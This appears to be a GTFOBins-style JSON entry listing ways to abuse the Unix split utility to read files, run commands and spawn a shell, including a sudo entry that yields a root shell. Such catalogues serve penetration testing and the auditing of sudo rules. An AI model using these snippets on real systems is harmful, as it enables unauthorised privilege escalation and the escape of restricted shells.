You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

32 lines
777 B
JSON

{
"functions": {
"file-read": [
{
"code": "TF=$(mktemp)\nsplit [file] $TF\ncat $TF*\n"
}
],
"command": [
{
"description": "Command execution using an existing or newly created file.",
"code": "TF=$(mktemp)\nsplit --filter=[command] $TF\n"
},
{
"description": "Command execution using stdin (and close it directly).",
"code": "echo | split --filter=[command] /dev/stdin\n"
}
],
"shell": [
{
"description": "The shell prompt is not printed.",
"code": "split --filter=/bin/sh /dev/stdin\n"
}
],
"sudo": [
{
"description": "The shell prompt is not printed.",
"code": "split --filter=/bin/sh /dev/stdin\n"
}
]
}
}